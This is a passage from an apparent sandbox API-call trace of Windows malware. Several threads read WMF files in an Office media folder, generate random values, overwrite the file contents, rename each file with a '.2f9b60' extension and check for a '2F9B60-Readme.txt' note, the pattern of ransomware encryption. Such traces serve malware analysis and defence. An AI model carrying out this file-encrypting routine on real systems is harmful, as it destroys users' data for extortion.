RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0102.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0102.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.274] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="61") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="14") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="12") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="d4") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="a8") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="87") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="13") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="fc") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="34") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="4c") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="2f") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="82") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="07") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="c8") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="e3") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="7a") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="06") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="b4") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="a7") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="3c") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="ef") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="61") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="08") returned 2 [0102.274] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="50") returned 2 [0102.275] RtlInitAnsiString (in: DestinationString=0x1e90fbe8, SourceString="611412d4a88713fc344c2f8207c8e37a06b4a73cef610850" | out: DestinationString="611412d4a88713fc344c2f8207c8e37a06b4a73cef610850") [0102.275] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e90fbb8, SourceString="611412d4a88713fc344c2f8207c8e37a06b4a73cef610850", AllocateDestinationString=1 | out: DestinationString="611412d4a88713fc344c2f8207c8e37a06b4a73cef610850") returned 0x0 [0102.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9470 [0102.275] wcscat (in: _Dest=0x4205ca10, _Source="611412d4a887" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\611412d4a887") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\611412d4a887" [0102.275] wcscat (in: _Dest=0x4205ca10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\611412d4a887.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\611412d4a887.2f9b60" [0102.275] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\611412d4a887.2f9b60", NtPathName=0x1e90fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\611412d4a887.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c240 [0106.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c240) returned 1 [0106.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506810) returned 1 [0106.098] NtQueryInformationFile (in: FileHandle=0x15b8, IoStatusBlock=0x1e90fbf8, FileInformation=0x1e90fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e90fbf8, FileInformation=0x1e90fc08) returned 0x0 [0106.098] NtSetInformationFile (FileHandle=0x15b8, IoStatusBlock=0x1e90fbf8, FileInformation=0x1e90fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ca10) returned 1 [0107.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0107.107] FlushFileBuffers (hFile=0x15b8) returned 1 [0107.417] CloseHandle (hObject=0x15b8) returned 1 [0107.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a46e0 [0107.419] wcscpy (in: _Dest=0x202a46e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0107.419] wcscat (in: _Dest=0x202a46e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0107.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a46e0) returned 1 [0107.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e2b0) returned 1 Thread: id = 752 os_tid = 0x12a4 [0098.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf")) returned 0x20 [0099.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF", dwFileAttributes=0x20) returned 1 [0099.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b4 [0099.689] GetFileSizeEx (in: hFile=0x15b4, lpFileSize=0x1ec5fd80 | out: lpFileSize=0x1ec5fd80*=28696) returned 1 [0099.689] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x7014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.689] ReadFile (in: hFile=0x15b4, lpBuffer=0x1ec5fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ec5fd48, lpOverlapped=0x0 | out: lpBuffer=0x1ec5fd00*, lpNumberOfBytesRead=0x1ec5fd48*=0x4, lpOverlapped=0x0) returned 1 [0099.841] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0099.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627b0 [0099.842] NtQuerySystemTime (in: CurrentTime=0x1ec5fc40 | out: CurrentTime=0x1ec5fc40*=132462177053698000) returned 0x0 [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x63150e89 [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x776772b0 [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x7f20bbcd [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x725f89f [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x264a84be [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x2c425959 [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x1091c807 [0099.842] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x6d1dd7d0 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x6b0c50fd [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x884fa14 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x1bb4ec04 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x1711d47f [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x67b5d7b3 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x711b1819 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x3111a55d [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x455edc5d [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0xd8d377 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x17823084 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x58d89678 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x72383faf [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x61b641bc [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0xe7b166a [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0xcc25f33 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x200c3aff [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x40c56b47 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x3852d753 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x6b2b3a60 [0099.843] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x6775b169 [0099.844] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x765004d4 [0099.844] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x729be2e0 [0099.844] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x7d3cc2d6 [0099.844] RtlRandomEx (in: Seed=0x1ec5fc30 | out: Seed=0x1ec5fc30) returned 0x22b5e68b [0100.756] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.756] ReadFile (in: hFile=0x15b4, lpBuffer=0x1ce99640, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ec5fca0, lpOverlapped=0x0 | out: lpBuffer=0x1ce99640*, lpNumberOfBytesRead=0x1ec5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.609] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0101.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0101.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0101.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2043f2a0 [0101.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0101.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0101.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8340) returned 1 [0101.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0101.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.610] WriteFile (in: hFile=0x15b4, lpBuffer=0x2043f2a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ec5fca0, lpOverlapped=0x0 | out: lpBuffer=0x2043f2a0*, lpNumberOfBytesWritten=0x1ec5fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043f2a0) returned 1 [0101.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce99640) returned 1 [0101.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263b60 [0101.968] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.968] WriteFile (in: hFile=0x15b4, lpBuffer=0x4205a2f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ec5fd50, lpOverlapped=0x0 | out: lpBuffer=0x4205a2f0*, lpNumberOfBytesWritten=0x1ec5fd50*=0x10a, lpOverlapped=0x0) returned 1 [0102.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0102.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263710) returned 1 [0102.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0102.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202636e0 [0102.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202636e0) returned 1 [0102.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.343] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="d7") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="16") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="78") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="b3") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="e9") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="2a") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="24") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="7e") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="92") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="a4") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="1c") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="0e") returned 2 [0102.343] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="c7") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="73") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="83") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="b7") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="48") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="9c") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="18") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="29") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="dd") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="c6") returned 2 [0102.344] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="fd") returned 2 [0102.344] RtlInitAnsiString (in: DestinationString=0x1ec5fdc8, SourceString="d71678b3e92a247e92a41c0ec77383b7489c18bb29ddc6fd" | out: DestinationString="d71678b3e92a247e92a41c0ec77383b7489c18bb29ddc6fd") [0102.344] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ec5fd98, SourceString="d71678b3e92a247e92a41c0ec77383b7489c18bb29ddc6fd", AllocateDestinationString=1 | out: DestinationString="d71678b3e92a247e92a41c0ec77383b7489c18bb29ddc6fd") returned 0x0 [0102.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced55c0 [0102.344] wcscat (in: _Dest=0x4205d230, _Source="d71678b3e92a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d71678b3e92a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d71678b3e92a" [0102.345] wcscat (in: _Dest=0x4205d230, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d71678b3e92a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d71678b3e92a.2f9b60" [0102.345] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d71678b3e92a.2f9b60", NtPathName=0x1ec5fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d71678b3e92a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050ca80 [0105.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0105.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060510) returned 1 [0105.924] NtQueryInformationFile (in: FileHandle=0x15b4, IoStatusBlock=0x1ec5fdd8, FileInformation=0x1ec5fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ec5fdd8, FileInformation=0x1ec5fde8) returned 0x0 [0105.924] NtSetInformationFile (FileHandle=0x15b4, IoStatusBlock=0x1ec5fdd8, FileInformation=0x1ec5fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d230) returned 1 [0105.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced55c0) returned 1 [0105.969] FlushFileBuffers (hFile=0x15b4) returned 1 [0105.973] CloseHandle (hObject=0x15b4) returned 1 [0105.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4d10 [0105.978] wcscpy (in: _Dest=0x202a4d10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.978] wcscat (in: _Dest=0x202a4d10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4d10) returned 1 [0107.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e340) returned 1 Thread: id = 753 os_tid = 0x12a8 [0098.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf")) returned 0x20 [0099.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF", dwFileAttributes=0x20) returned 1 [0099.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b0 [0099.687] GetFileSizeEx (in: hFile=0x15b0, lpFileSize=0x1f6cf860 | out: lpFileSize=0x1f6cf860*=5370) returned 1 [0099.687] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x14f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.687] ReadFile (in: hFile=0x15b0, lpBuffer=0x1f6cf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f6cf828, lpOverlapped=0x0 | out: lpBuffer=0x1f6cf7e0*, lpNumberOfBytesRead=0x1f6cf828*=0x4, lpOverlapped=0x0) returned 1 [0099.887] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0099.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262960 [0099.888] NtQuerySystemTime (in: CurrentTime=0x1f6cf720 | out: CurrentTime=0x1f6cf720*=132462177054166000) returned 0x0 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x7712f155 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x664afd82 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x1ee27795 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x4c760568 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x17458b87 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x6b6c782 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x23a06c47 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x2f1eebad [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x364b9ce8 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x721e74bc [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x55a54692 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x5d1c3042 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x2450ce85 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x454918ca [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x39f69292 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x3536d51f [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x3673549b [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x3d462177 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x28dd449f [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x1f3fe49f [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x44183e61 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x75c2b98e [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x3bc3f92 [0099.888] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x1ba3d413 [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x7b586c4d [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0xa72dcde [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x186f6c44 [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x298951c2 [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x6df784cd [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x7a610973 [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0xc0ead4a [0099.889] RtlRandomEx (in: Seed=0x1f6cf710 | out: Seed=0x1f6cf710) returned 0x1939699f [0099.898] ReadFile (in: hFile=0x15b0, lpBuffer=0x201a6910, nNumberOfBytesToRead=0x14fa, lpNumberOfBytesRead=0x1f6cf710, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesRead=0x1f6cf710*=0x14fa, lpOverlapped=0x0) returned 1 [0100.336] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.336] WriteFile (in: hFile=0x15b0, lpBuffer=0x201aa520*, nNumberOfBytesToWrite=0x14fa, lpNumberOfBytesWritten=0x1f6cf714, lpOverlapped=0x0 | out: 